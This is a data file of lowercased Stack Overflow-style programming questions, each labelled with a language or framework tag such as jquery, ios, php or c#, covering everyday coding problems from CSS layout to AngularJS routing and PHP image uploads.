copy links from image src as a text  i have a list where each <code>li</code> has some image inside and i m trying to copy each <code>img src=</code> as plain text to <code>.somediv</code>    html   <pre><code>&lt;ul class= somelist &gt;   &lt;li&gt;&lt;a href=  &gt;&lt;img src= /linktopicture1.jpg  class= someimage &gt;&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href=  &gt;&lt;img src= /linktopicture2.jpg  class= someimage &gt;&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href=  &gt;&lt;img src= /linktopicture3.jpg  class= someimage &gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;div class= somediv &gt;   &lt;!-- those source links should be written here like this:   /linktopicture1.jpg   /linktopicture2.jpg   /linktopicture3.jpg    --&gt; &lt;/div&gt; </code></pre>   i ve tried something like this  but it s not right:    jquery   <pre><code>$(document).ready(function() {   $( .somelist li ).each(function() {      var $this = $(this);       // get src attribute from img      var url = $this.find( .someimage ).first().attr( src );       // set href attribute on a      $this.find( .somediv ).first().attr(url);   }); }); </code></pre>,jquery
ios uimodalpresentationformsheet blank screen  it is displaying blank screen. i am using story board. ios 5 and arc.   <pre><code>    tfbloginviewcontroller *loginview = [[tfbloginviewcontroller alloc] init];     uinavigationcontroller *navigationcontroller = [[uinavigationcontroller alloc] initwithrootviewcontroller:loginview];     navigationcontroller.modalpresentationstyle = uimodalpresentationformsheet;     [self presentmodalviewcontroller:navigationcontroller animated:yes]; </code></pre>   thanks.,ios
css div alignment like a puzzle  i m trying to slot these divs togethor like a puzzle. i want to align div 4 between div 1 and 3.  as of now div 4 starts under div 3.  what is the solution  so that the divs  slot  into each other.    <pre><code>&lt;div style= overflow:hidden;width:500px; &gt;             &lt;div style= float:left;width:200px;height:400px;border:1px solid #707070 &gt;1&lt;/div&gt;             &lt;div style= float:left;width:200px;height:300px;border:1px solid #707070 &gt;2&lt;/div&gt;             &lt;div style= float:left;width:200px;height:400px;border:1px solid #707070 &gt;3&lt;/div&gt;             &lt;div style= float:left;width:200px;height:300px;border:1px solid #707070 &gt;4&lt;/div&gt;             &lt;/div&gt; </code></pre>   i don t want to use position absolute.  this is just an example.  the real code is in a loop and the content size is dynamic.,css
attempted to read or write protected memory. this is often an indication that other memory is corrupt  i have a application that clients connect to via socket. the application is multi threaded  does lots of number crunching  and consumes a huge ammount of memory. (1.5 - 2 gb) occasionally it throws this error in a seemingly simple area of code.     attempted to read or write protected memory. this is often an indication that other memory is corrupt.    its not always on the same line  but its always in the same file  on a foreach loop. i m wondering if theres some setting in vs 2008 thats causing it  theres nothing weird going on it really just dies on a foreach loop iterating through a list.  i m pretty sure its not a threading issue because i am using lock() so i m 100% sure that the lists arnt getting modified by multiple threads at the same time. i ve tried turning off compiler optimizations but it still does it every once in a while. very annoying.    this is a very very rare occurance. i m running the server in debug and this only happens like once every 12-48 hours.,.net
how to access methods of subclass in object array c#   how can i set/get the value of an object in an object array     currently i get: <em> object does not contain a definition for  value  and no extension method </em>    example c#;   <pre><code>    public class myobjclass     {         public int value = 5;     }      public class myobjclass2     {         public float[] pos = new float[2];     }      public void test()     {         myobjclass myobj = new myobjclass();         myobjclass2 myobj2 = new myobjclass2();          object[] objarr = new object[2];         objarr[0] = myobj;         objarr[1] = myobj2;         debug.print(myobj.value.tostring());         debug.print(objarr[0].value.tostring()); // how       } </code></pre>,c#
internet explorer and html div title  i m using the following html code to successfully show the title in ff and chrome but it doesn t appear in ie - even ie9. i m i doing something wrong  does this work for others    <pre><code>&lt;div class= emoticontitlewink  title= wink ;) &gt;&lt;/div&gt; </code></pre>   any advise welcome...    fyi the classe   <pre><code>div.emoticontitlewink { position: absolute; width: 18px; height: 18px; left: 79px; top: 59px; } </code></pre>   is there a way to get the small pop (text info) to occur in ie     thx,html
book for java data structures for beginner  i have basic knowledge about java programming and these days i am learning data structures in java. i am looking for a good book for java data structures for beginners . i did googled to get some help and i got couple of books which are printed before 2002 so while reading review about these books i read that these books do not have java generics (i am talking about  data_structures_and_algorithms_robert-lafore) so i am little confused whether to refer these books or not. overall review for this book is very good but i am still confused since it might not have latest java features.    can someone please let me know some book for the beginner which will give latest and greatest information on java ds  or should i still refer the same book     i know this question has been asked so many times and  i did went through many stack overflow posts but got the similar books which are little old and may not have all features of 1.7 . so any comment on this would be great.,java
asp.net load website in code behind  i have a few websites on my windows 2003/iis 6.0 machine     one of the sites is publicly visible and the others are private (can browse locally - 192.168.1 address)    i would like to display the private site on a page of the public site but not with an iframe.    when i tried an iframe  the client browser tries to find the web site - which is not publicly visible    is there a way to load the home page from the code behind (c#/vb.net)     thanks,asp.net
# sign as a prefix in objective c  can anyone explain for me what the purpose when we are doing like this   <pre><code> #if   // block of codes goes here   #endif </code></pre>,objective-c
how to get url referrer in angularjs  there s a button in a page that will redirect to my website  how should i get the page url that redirects to my website in angularjs since we don t have access to the page redirecting    <pre><code>$rootscope.$on( $locationchangestart   function(evt:any  absnewurl:any  absoldurl:any):void {      console.log( prev path:   + absoldurl);   }); </code></pre>   using this is giving us the current page.    ex: (testingpage.html should redirect to mypage.html how to get testingpage.html url),angularjs
how to embed flash in desktop application in .net   can i embed flash in desktop application in .net  how,.net
ios: web preferences for uiwebview   on mac os/x  you can programmatically set the default font and many other values in a webview by settings its web preferences.     thanks.,ios
how can i catch the system os notification in ios  i am trying to catch system os notifications  but cannot find any relative code to help me with it. is there any default system calls to accomplish this programatically without using any third party library,ios
communication between modules in angularjs  i guess it is possible to have many angular-modules attached to different regions within one shellpage. but can modules in angularjs  talk  to each other  if yes  how,angularjs
previous page should remain in same state when back button of browser is click  i have a page on which there are two drop down lists  based on the selection of those dropdown lists grid view is filled. in grid view there are imagebuttons. when user clicks on any of the image button  he/she is redirected to another page. now when i click on the back button of the browser  i want page in the same state as it was before redirect. how can i achieve this goal,asp.net
so i wrote this code but the loop doesn t work  so i was given this problem  where i am to calculate and decide if a number(between 1 and 100) is special or not. if the sum of the digits is multiplied by 4 and the result is equal to the original number  then that number is a special number. so i wrote the code. but the loop is not working. outside of any loop the code works without any issue where variable number may have any value. what might be the issue  thanks in advance.   <pre><code>#include &lt;stdio.h&gt;  int main(void) {     int number;     int originalnumber;  for(number=1;number&lt;=100;number++) {                originalnumber = number;      int sum = 0  result;      while(number&gt;0)     {         result = number % 10;         sum = sum + result;         number = number / 10;     }      if((sum*4)==originalnumber)     {         printf( \n%d is special number.   originalnumber);     }     else     {         printf( \n%d is not special number.   originalnumber);     } } } </code></pre>,c
how will i convert this code to a ternary operator   how will i convert this code    <pre><code>    if(a&gt;b)     {         x=a; y=b;     }     else     {         x=b; y=a;     } </code></pre>   to a ternary operator,java
downloading from outside website root (using a href download )  i m working on file storage and my design is to display data from my database about the file along with a button fitted with an <code>a href</code> tag to download my file. i successfully do all of this when i keep my storage in my website root - but upon suggestions  i ve made changes.    i now have my project root in my c:/ drive but my storage i want outside of the root but i keep my storage in my d:/ drive  per suggestions due to security - along with the fact my d:/ drive is my cloud storage anyway. from what i see online  that means i can t use <code>&lt;a href= d:/storage/username/file download&gt;</code> anymore to download my file!    if that is true  how do you download from outside your website root     and if not  how do i get past the security restrictions on downloading outside the root using my href method     thanks!,php
cloud mine xcode  i m getting this error: <code>::[__nscfdictionary setobject:forkey:]: attempt to insert nil key </code>    i checked my object is initialized properly but still getting this error. using cloudmine.   <pre><code>(void)addinventory:(inventory *)inventory {      [_inventorylist addobject:inventory];      [inventory save:^(cmobjectuploadresponse *response) {         nslog(@ status: %@   [response.uploadstatuses objectforkey:inventory.objectid]);          if (![[response.uploadstatuses objectforkey:inventory.objectid] isequaltostring:@ created ]) {             // alert the user             nsstring *message = @ the item could not be created. ;             if (response.error)                 message = [response.error localizeddescription];             uialertview *erroralert = [[uialertview alloc] initwithtitle:@ error  message:[response.error localizeddescription] delegate:nil cancelbuttontitle:@ okay  otherbuttontitles:nil];             [erroralert show];         }      }]; </code></pre>,ios
does asp.net core rest api is thread safe   i use singleton manager in rest api method.   <pre><code>[httpget( getuserdata )] public jsonresult getuserdata() {     //singleton class in rest api method     authmanager manager = authmanager.getinstance();  } </code></pre>   server will publish auth key when session(user) request login. and server will save this by dictionary.  the key is authkey and value is user info which include session id.    and my rest api must be used by logged in and authorized user  so i must check first session s authorized when the session request by rest api.<br> so all rest api must be access that singleton auth manager class.    but if it is not thread safe  then i must use lock (and it makes me very terrible).    does asp.net core s controller method (view method or rest api) is thread safe,asp.net
how to assign label value to textbox in javascript/jquery   i have tried this:   <pre><code>var fun(lblconversionfactor  txtconversionfactor) {     var lblconversionfactor1 = document.getelementbyid(lblconversionfactor).valueof();     var txtconversionfactor1 = document.getelementbyid(txtconversionfactor).valueof();     txtconversionfactor1 = lblconversionfactor1; } </code></pre>   tell me   if you know solution,javascript
is ok to place a div inside th tag   i didn t think this was a problem but my ide seems to tell me otherwise. are there any browsers that would fail to render this correctly     using netbeans ide 7.3.    thanks.,html
difference dynamic static 2d array c++  im using opensource library called wxfreechart to draw some xy charts. in example there is code which uses static array as a serie :   <pre><code>double data1[][2] = {                 { 10  20  }                  { 13  16  }                  { 7  30  }                  { 15  34  }                  { 25  4  }          };  dataset-&gt;addserie((double *) data1  wxsizeof(dynamicarray)); </code></pre>   wxsizeof ismacro defined like: sizeof(array)/sizeof(array[0])           in this case everything works great but in my program im using dynamic arrays (according to users input).    i made a test and wrotecode like below:   <pre><code>double **dynamicarray = null;         dynamicarray = new double *[5] ;          for( int i = 0 ; i &lt; 5 ; i++ )             dynamicarray[i] = new double[2];          dynamicarray [0][0] = 10;         dynamicarray [0][1] = 20;         dynamicarray [1][0] = 13;         dynamicarray [1][1] = 16;         dynamicarray [2][0] = 7;         dynamicarray [2][1] = 30;         dynamicarray [3][0] = 15;         dynamicarray [3][1] = 34;         dynamicarray [4][0] = 25;         dynamicarray [4][1] = 4;  dataset-&gt;addserie((double *) *dynamicarray  wxsizeof(dynamicarray)); </code></pre>   but it doesnt work correctly. i mean point arent drawn. i wonder if there is any possibility that i can  cheat  that method and give it dynamic array in way it understands it and will read data from correct place    thanks for help,c++
angularjs determine filter in controller  how would i go about setting the filter property on an ng-repeat dynamically     here is my template...   <pre><code>&lt;div class= list-group &gt;     &lt;div ng-repeat= article in articles | activefilter &gt;       &lt;a href= #  class= list-group-item &gt;         &lt;h3 class= list-group-item-heading &gt;{{ article.title }}&lt;/h3&gt;         &lt;h4 class= list-group-item-text &gt;{{ article.author }}&lt;/h4&gt;           &lt;p class= list-group-item-text &gt; {{ article.blurb }} &lt;/p&gt;       &lt;/a&gt;     &lt;/div&gt;   &lt;/div&gt; </code></pre>   where  activefilter  is a property i want to set via the controller...    ...   <pre><code>$scope.activefilter =  somefiltertype  </code></pre>   ...    and the filter looks like this...   <pre><code>.filter( somefiltertype   function () {       return function (items) {         var rv = [];         for (var p in items) {           if (items[p].myfilterprop === false)           rv.push(items[p]);         }         return rv;       }     }) </code></pre>   i would think i could dynamically change the ng-repeat s filter in this way  but it doesn t seem to be working and i m not sure why.,angularjs
uibuttons from different views add images to same view   so  i am building an application with different views. each of them has a number of buttons. when pressing a button in a view  it should add an image to a addedimages view (the main one). how do i make a loop that will add the images dynamically according to the position of previously added images  im quite new in this  so now i have only one button adding an image like this:   <pre><code>- (ibaction)additemtoshoppinglist {     uiimage *image = [uiimage imagenamed:@ button1.jpg ];     uiimageview *imageview = [[uiimageview alloc]initwithimage:image];     imageview.frame = cgrectmake(120  100  80  80);     [shoppinglist.view addsubview:imageview];     [imageview release];  } </code></pre>   so i wanna make a function additemtoshoppinglist that will be associated to all buttons in different views but to put different images dynamically to the same one,iphone
try  except in python  i am trying to write a simple program that read only two symbols (=  +). i have done the checks using if block like above:   <pre><code>x = raw_input( please answer + or = ) if x ==  + :    print  plus   elif x ==  = :    print  equal  else:    print  not valid  </code></pre>   i want to remove the else and do the check with try  except.  for example i want something like:   <pre><code>try:    x = raw_input( please answer + or = )    if x ==  + :       print  plus      elif x ==  = :       print  equal  except ....:    print  not valid  </code></pre>   does anyone can help me   thank you,python
new operator unable to allocate memory  in my c++ program i am required to handle large amount of information. i m storing this large information in a structure. the structure is..   <pre><code>struct xlsmain {     struct sub_parts_of_interface sub_parts[200];     string name;     int no_of_subparts; };  struct sub_parts_of_interface {     struct pio_subparts pio[10];     string name_of_interface;     string direction;      string partition;     int no_of_ports; };  struct pio_subparts {     struct corners corner[32];      string pio_name;      };  struct corners {     struct file_structure merging_files[50];     string corner_name;     int merginf_files_num; };  struct file_structure {     string file_name;     string file_type;     struct reportspecs report[20]; }; </code></pre>   i m using new operator to allocate memory to it   <pre><code>struct xlsmain *interface = new xlsmain[60]; </code></pre>   on running the program <code>std::bad_alloc error</code> is shown. plese help!,c++
difference between method and attribute python   i m probably using the wrong terminology here  but i m looking for an explanation on the difference between a function called on an object  i.e. method  and then an attribute of the object itself.    take the following df:   <pre><code>df = pd.dataframe({ a :[4  5  6  7]                      b :[3  2  5  4]}) </code></pre>   you can call the <code>sum()</code> method/function on df  and you can call the <code>columns</code> attribute on df. i may be getting confused between chaining a method vs. calling an attribute using <code>.</code>.   <pre><code>df.sum() df.columns </code></pre>,python
i need help retrieving answer statements <pre><code>namespace thetwelvelabors1 {     class program     {         static void main(string[] args)         {             console.writeline( welcome to mythology 101 class  today i will ask you about 10 of the 12 labors of hercules. );             console.writeline( what was the first labor of hercules  );             console.readline();                     }          }              } </code></pre>   this is my current code. i am trying to insert places to allow user input. and once a question is answered properly  the program should ask the next question and so on for 10 questions and then have an exit condition.,c#
how do i retrieve the text from a file using indexof and substring   it dosen t work  this is the code:   <pre><code>private void retrivingtext1() {    string starttag =  zethrone1_03510 ;// &lt;translation&gt; ;    string endtag =  -2.8 ;// &lt;/translation&gt; ;     int starttagwidth = starttag.length;    int endtagwidth = endtag.length;    index = 0;     w = new streamwriter(@ d:\retrivedtext1.txt );     while (true)    {       index = f.indexof(starttag  index);        if (index == -1)       {          break;       }        // else more to do - index now is positioned at first character of starttag        int start = index + starttagwidth;       index = f.indexof(endtag  start + 1);        if (index == -1)       {          break;       }        // found the endtag        string g = f.substring(start  index - start);       w.writeline(g);    }     w.close(); } </code></pre>   the first work in the file that i want to retrieve is <code>hallo </code> which is coming right after <code>zethrone1_03510</code> but between <code>zethrone1_03510</code> and <code>hallo </code> there are two spaces so i m getting it in the new text file like this   <code>hallo </code>    and i want it to be <code>hallo </code> without the two spaces after <code>zethrone1_03510</code> that s one problem.    the second problem is that in the end of the file there is a text <code>-2.8</code> so i want to retrieve all the text from the first <code>hallo </code> including it until the end of the file or until the last <code>-2.8</code> including it too. since there are more places after the <code>hallo </code> with <code>-2.8</code>    i tried to use <code>lastindexof</code> instead of <code>indexof</code> but it didn t work.    and i know there are other ways but i want to do it with my code to fix/repair my code not using another way of codes. whats wrong here      thanks.,c#
order column by the first value  i ve got the following table foobar that looks like this:   <pre><code>+----+-------------+ | id | description | +----+-------------+ | 12 | 307         | +----+-------------+ | 13 | 308         | +----+-------------+ | 15 | 312         |       +----+-------------+ | 14 | 309-310-311 |   +----+-------------+ </code></pre>   when i order using <strong>order by description asc</strong>   this description <strong>309-310-311</strong> will be last one as above. what i would like is to print out all the descriptions in order to be like this   <pre><code>307  308  309-310-311  312 </code></pre>,mysql
call a private attribute  how can i call a variable (private double balance) from a superclass in subclass if that variable is private in java    <pre><code>public class account {  private double bal; </code></pre>   }      i need to call it from this subclass:   <pre><code>public class savingaccount extends account { private int interesi; public savingaccount(int a  int interesi){     super(a);         this.interesi = interesi; } </code></pre>,java
only title gets loaded when pushing uiviewcontroller onto navigationcontroller - iphone  i have a strange issue going on which i can t fathom. i have a number of uiviewcontrollers which i m pushing onto a navigationcontroller - all fairly regular stuff. it s a bit of a drill-down application so after you ve moved through 3 screens  the next view to be pushed doesn t actually appear - only the title changes in the nav bar. i m pushing it the same way as all the others:   <pre><code>displayviewcontroller *tempdispcontroller = [[displayviewcontroller alloc] initwithnibname:@ displayvc  bundle:nil];     [self.navigationcontroller pushviewcontroller:tempdispcontroller animated:yes];     [tempdispcontroller release]; </code></pre>   the new title is set in the viewdidload of the new viewcontroller - and that does animate in  but the actual view is still the old one.    edit: forgot to say that it does load fine occasionally. usually the first time but then not the next few times. sometimes not even the first time.    any ideas     thanks..,iphone
unhide tabbar when a new view is pushed  i have <code>uitableviewcontroller</code> embeded in a <code>uinavigationcontroller</code> in my app. when a row is selected it pushes a <code>uitabbarcontroller</code>. so far so good. the problem is that some of the tabs i  push more views but the tab bar gets hiden. i ve tried setting <code>hidesbottombarwhenpushed = no</code>  but it doesn t work. i m using xcode 4 with storyboard any ideas,iphone
how to find all images on a webpage  including those defined in background   using javascript  how to identify all images     a straightforward approach is to traverse all dom elements  and check: 1) if it is an <code>&lt;img /&gt;</code>; 2) if its style includes <code>background-image</code>.,javascript
uibutton custom image in alertviews  im planning to create an alert view with three buttons  my problem is i want to make the uibutton to custom and change its image.    thanks a lot.,iphone
php reading uploaded file after post  php reading uploaded file content issue    i upload a txt file  and i did the following   <pre><code>print_r($_files); </code></pre>   the output was   <pre><code>array ( [up_file] =&gt; array ( [name] =&gt; upload.txt [type] =&gt; text/plain [tmp_name] =&gt; /tmp/phpbyrywn [error] =&gt; 0 [size] =&gt; 26 ) )  </code></pre>   when i did the following   <pre><code>$tmp_file_path = strtolower($_files[ up_file ][ tmp_name ]); //rename file $file_content = file_get_contents($tmp_file_path); </code></pre>   the   $tmp_file_path return me  /tmp/phpbyrywn  but $file_content return nothing  i went to root via ssh and check /tmp but did not see any file by the name /tmp/phpbyrywn   what should i do to resolve this.    should i state a default directory for uploaded file in any part of the code or,php
why does my cout output not appear immediately   it does not print the string put in the loop. the program was written with the help of g++  with sys/types.h header file included   <pre><code>for(int i=0;i&lt;9;i++) {     cout&lt;&lt; || ;     sleep(1); } </code></pre>,c++
login error there is an error in logging you into this application please try again later facebook  my app is live but suddenly giving an error in facebook login what to do  <a href= https://i.stack.imgur.com/lci0b.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lci0b.png  alt= enter image description here ></a>,ios
find if pair of elements with given sum exists in large integer array  i m having a integer array of 10 million elements  how to write a function in c# which returns true if the array has a pair which sums up to 75.    my code is:   <pre><code>        int sum = 75  max = 10000000;         int[] array = new int[max];         bool checkflag = false;         random rnd = new random();         stopwatch sw = stopwatch.startnew();          for (int i = 0; i &lt; max; i++)         {             array[i] = rnd.next(0  max * 20);         }         array.sort(array);         if (array[0] + array[1] &lt;= sum)         {             console.writeline( {0} + {1} = {2}   array[0]  array[1]  array[0] + array[1]);             checkflag = true;          }         console.writeline( sum upto 75 is:   + checkflag); </code></pre>,c#
stripping directory and filename from path as a string  how can i strip the directory and filename out from a full path given to me as a string     for example  from:   <pre><code>&gt;&gt;path_string c:/data/python/project/test/file.txt </code></pre>   i want to get:   <pre><code>&gt;&gt;dir_and_file_string test/file.txt </code></pre>   i m assuming that this is a string operation rather than a filesystem operation.,python
angularjs: controller not connected to view when dynamically routed  so  i guess this question is more academic than anything. i ve been working all afternoon on a mean stack application s reset password functionality  and the general method i chose to employ is as follows:   <ol> <li>in the login view  the user enters their username and clicks the forgot password button.</li> <li>this submits a post request to the server s /forgot route  along with the { username: username } object. </li> <li>the server looks for the user in the database  and if found  it creates a long string of random characters (e.g. <code> 823uhr8824hriij3993 </code>) and saves the string as the user s remember token (valid for an hour  and the expiration is also saved).</li> <li>an email is sent out to the user with a link to reset the password  corresponding to angular route <code> /reset/:token </code> (continuing the example   <code> /reset/823uhr8824hriij3993 </code>).</li> <li>if the user submits an updated password from that url before the token expires  the server checks the params for the appropriate remember token and their password is successfully changed. </li> </ol>   i am using ng-route  and my reset password route is configured as:   <pre><code>.when( /reset/:token   {   templateurl:  partials/account/reset-password.html     controller:  resetpasswordctrl  }) </code></pre>   unless i am missing something blatant (which is entirely possible)  when the user hits the <code> /reset/823uhr8824hriij3993 </code> route and angular renders the <code>reset-password.html</code> view  it should be connected to the <code>resetpasswordctrl</code>  should it not      i spent a couple hours today trying to troubleshoot the username  password  and password confirmation validations that were not working  many of which are coded in the <code>resetpasswordctrl</code>  figuring there must have been some typo somewhere causing a disconnect. but in fact the controller wasn t actually connected to the view until i put <code>ng-controller= resetpasswordctrl </code> in the topmost div tag.     all the other routes in this application are static and are set up via the $routeprovider just as above  and this is the first time i ve run into this issue  so i suppose it must arise because of the dynamic <code>/:token</code> portion of the route. anyway  my immediate problem is solved  but if someone wouldn t mind taking a moment to explain why it was a problem in the first place  i would really appreciate it... for future reference!,angularjs
html submit button stays on the same page  i am writing a mobile app in html5/css/js. on the first page index.html i made a form with a submit button that point to result.html (with formaction= result.html ). but when i open index.html in chrome just to debug the app  the submit button doesn t bring the user to result.html  but stays on index.html. what s wrong  thanks   <pre><code>&lt;form name= userdata  method= get &gt;      &lt;input type= number  step= any  class= hiddenbutton  name= uservolume  value=   &gt;     &lt;button type= submit  id= submitbutton  name= issubmitted  value= no  class= submitbutton  formmethod= get  formaction= result.html &gt;submit&lt;/button&gt; &lt;/form&gt; </code></pre>   it doesn t work neither with:    <pre><code>&lt;form name= userdata  method= get  action= result.html &gt;     &lt;input type= number  step= any  class= hiddenbutton  name= uservolume  value=   &gt;     &lt;button type= submit  id= submitbutton  name= issubmitted  value= no  class= submitbutton &gt;submit&lt;/button&gt; &lt;/form&gt; </code></pre>   <strong>edit:</strong> i just discovered that there is no problem when i use firefox instead of chromium (ubuntu). any hint on what s happening,html
how to load image which of last upload   i am loading a image which is <strong>jpg</strong> but what if the user uploads a <strong>png</strong> file or <strong>jpeg</strong> file as profile image where he already had a file in <strong>jpg</strong>.    same name example : abc@mail.com_profileimage.ext    i am getting this image by direct link through url.    <pre><code>&lt;img style= width: 100%  src= http://proconstruct.co.in/upload_images/&lt; php echo $email. _profileimage.jpg ; &gt;  onerror= this.src =  http://proconstruct.co.in/images/noimage.jpg ;  &gt; </code></pre>   if i use <code>$images = glob($dirname .  * );</code>    with the give prefix above how can i get last saved image    upload and crop code   <pre><code>&lt; php  error_reporting (e_all ^ e_notice);  $upload_path =  upload_images/ ;  $thumb_width =  150 ; $thumb_height =  150 ;   function resizethumbnailimage($thumb_image_name  $image  $width  $height  $start_width  $start_height  $scale){     list($imagewidth  $imageheight  $imagetype) = getimagesize($image);     $imagetype = image_type_to_mime_type($imagetype);      $newimagewidth = ceil($width * $scale);     $newimageheight = ceil($height * $scale);     $newimage = imagecreatetruecolor($newimagewidth $newimageheight);     switch($imagetype) {         case  image/gif :             $source=imagecreatefromgif($image);             break;         case  image/pjpeg :         case  image/jpeg :         case  image/jpg :             $source=imagecreatefromjpeg($image);             break;         case  image/png :         case  image/x-png :             $source=imagecreatefrompng($image);             break;     }     imagecopyresampled($newimage $source 0 0 $start_width $start_height $newimagewidth $newimageheight $width $height);     switch($imagetype) {         case  image/gif :             imagegif($newimage $thumb_image_name);             break;         case  image/pjpeg :         case  image/jpeg :         case  image/jpg :             imagejpeg($newimage $thumb_image_name 100);             break;         case  image/png :         case  image/x-png :             imagepng($newimage $thumb_image_name);             break;     }     chmod($thumb_image_name  0777);     return $thumb_image_name; }    if (isset($_post[ upload_thumbnail ])) {      $filenam = $_post[ filename ];         $filenam = pathinfo($filenam);         $extn = $filenam[ extension ];      $large_image_location = $upload_path.$_post[ filename ];     $thumb_image_location = $upload_path. thumb_ .$_post[ filename ];         $myemail = $this-&gt;session-&gt;userdata( email );       $thumb_image_location = $upload_path.$myemail. _profileimage. .$extn;      $x1 = $_post[ x1 ];     $y1 = $_post[ y1 ];     $x2 = $_post[ x2 ];     $y2 = $_post[ y2 ];     $w = $_post[ w ];     $h = $_post[ h ];      $scale = $thumb_width/$w;     $cropped = resizethumbnailimage($thumb_image_location  $large_image_location $w $h $x1 $y1 $scale);     header( location: .$_server[ php_self ]);     exit(); }   &gt;   &lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt; &lt;title&gt;upload file and crop&lt;/title&gt; &lt;meta charset= utf-8 &gt; &lt;link rel= stylesheet  type= text/css  href= css/cropimage.css  /&gt; &lt;link type= text/css  href= css/imgareaselect-default.css  rel= stylesheet  /&gt; &lt;script type= text/javascript  src= js/jquery.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery.form.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/jquery.imgareaselect.js &gt;&lt;/script&gt;  &lt;script type= text/javascript  &gt;     $(document).ready(function() {         $( #submitbtn ).click(function() {             $( #viewimage ).html(  );             $( #viewimage ).html( &lt;img src= images/loading.gif  /&gt; );             $( .uploadform ).ajaxform({                 url:  upload_sup                   success:    showresponse             }).submit();         });     });      function showresponse(responsetext  statustext  xhr  $form){          if(responsetext.indexof( . )&gt;0){             $( #thumbviewimage ).html( &lt;img src= &lt; php echo $upload_path;  &gt; +responsetext+     style= position: relative;  alt= thumbnail preview  /&gt; );             $( #viewimage ).html( &lt;img class= preview  alt=   src= &lt; php echo $upload_path;  &gt; +responsetext+     id= thumbnail  /&gt; );             $( #filename ).val(responsetext);             $( #thumbnail ).imgareaselect({  aspectratio:  1:1   handles: true    onselectchange: preview });         }else{             $( #thumbviewimage ).html(responsetext);             $( #viewimage ).html(responsetext);         }     }  &lt;/script&gt;  &lt;script type= text/javascript &gt; function preview(img  selection) {     var scalex = &lt; php echo $thumb_width; &gt; / selection.width;     var scaley = &lt; php echo $thumb_height; &gt; / selection.height;      $( #thumbviewimage &gt; img ).css({         width: math.round(scalex * img.width) +  px           height: math.round(scaley * img.height) +  px           marginleft:  -  + math.round(scalex * selection.x1) +  px           margintop:  -  + math.round(scaley * selection.y1) +  px      });      var x1 = math.round((img.naturalwidth/img.width)*selection.x1);     var y1 = math.round((img.naturalheight/img.height)*selection.y1);     var x2 = math.round(x1+selection.width);     var y2 = math.round(y1+selection.height);      $( #x1 ).val(x1);     $( #y1 ).val(y1);     $( #x2 ).val(x2);     $( #y2 ).val(y2);      $( #w ).val(math.round((img.naturalwidth/img.width)*selection.width));     $( #h ).val(math.round((img.naturalheight/img.height)*selection.height));  }  $(document).ready(function () {     $( #save_thumb ).click(function() {         var x1 = $( #x1 ).val();         var y1 = $( #y1 ).val();         var x2 = $( #x2 ).val();         var y2 = $( #y2 ).val();         var w = $( #w ).val();         var h = $( #h ).val();         if(x1==   || y1==   || x2==   || y2==   || w==   || h==  ){             alert( please make a selection first );             return false;         }else{             return true;         }     }); }); &lt;/script&gt;    &lt;/head&gt; &lt;body style= background-color: #6db4e7 &gt;  &lt;!-- content --&gt; &lt;section&gt; &lt;div class= container &gt;      &lt;div class= crop_box &gt; &lt;form class= uploadform  method= post  enctype= multipart/form-data  action= upload.php  name= photo &gt;     &lt;div class= crop_set_upload &gt;         &lt;div class= crop_upload_label &gt;upload files: &lt;/div&gt;         &lt;div class= crop_select_image &gt;&lt;div class= file_browser &gt;&lt;input type= file  name= imagefile  id= imagefile  class= hide_broswe  /&gt;&lt;/div&gt;&lt;/div&gt;         &lt;div class= crop_select_image &gt;&lt;input type= submit  value= upload  class= upload_button  name= submitbtn  id= submitbtn  /&gt;&lt;/div&gt;     &lt;/div&gt; &lt;/form&gt;         &lt;div class= crop_set_preview &gt;             &lt;div class= crop_preview_left &gt;                 &lt;div class= crop_preview_box_big  id= viewimage &gt;                  &lt;/div&gt;             &lt;/div&gt;             &lt;div class= crop_preview_right &gt;                 preview image                 &lt;div class= crop_preview_box_small  id= thumbviewimage  style= position:relative; overflow:hidden; &gt; &lt;/div&gt;                  &lt;form name= thumbnail  action= profileimage  method= post &gt;                     &lt;input type= hidden  name= x1  value=   id= x1  /&gt;                     &lt;input type= hidden  name= y1  value=   id= y1  /&gt;                     &lt;input type= hidden  name= x2  value=   id= x2  /&gt;                     &lt;input type= hidden  name= y2  value=   id= y2  /&gt;                     &lt;input type= hidden  name= w  value=   id= w  /&gt;                     &lt;input type= hidden  name= h  value=   id= h  /&gt;                     &lt;input type= hidden  name= wr  value=   id= wr  /&gt;                      &lt;input type= hidden  name= filename  value=   id= filename  /&gt;                     &lt;div class= crop_preview_submit &gt;&lt;input type= submit  name= upload_thumbnail  value= save thumbnail  id= save_thumb  class= submit_button  /&gt; &lt;/div&gt;                 &lt;/form&gt;              &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;  &lt;/div&gt; &lt;/section&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,php
setup requires .net framework v1.1.4322 - but i already have all frameworks 1.0  1.1  2.0  3.0 and 3.5 !  tried to install some program  it gives above message requiring 1.1.4322.    but as the title says  all the frameworks are already installed on my winxp sp2  if i inspect c:\windows\microsoft.net\framework\    the machine has vs2008 which essentially required full installation of framework 3.5 sp1.    any ideas  (i know  just re-install framework 1.1 again  but why should i - i can see all frameworks are installed  and things are supposed to be backward compatible.,.net
what s wrong with my php code  <pre><code> &lt;li&gt;&lt;a class= &lt; php if($_get[ q ]== addons.html );echo  current ; &gt;  href= addons.html &gt;test&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a class= &lt; php if($_get[ q ]== technicalsupport.html );echo  current ; &gt;  href= technicalsupport.html &gt;example&lt;/a&gt;&lt;/li&gt;       &lt;li&gt;&lt;a class= &lt; php if($_get[ q ]== center.html );echo  current ; &gt;  href= center.html &gt;center&lt;/a&gt;&lt;/li&gt;      &lt;li&gt;&lt;a class= &lt; php if($_get[ q ]== about.html );echo  current ; &gt;  href= about.html &gt;about&lt;/a&gt;&lt;/li&gt; </code></pre>   why those are all add the  current  the the current page  i want to add the <code>class= current </code> only to the current page,php
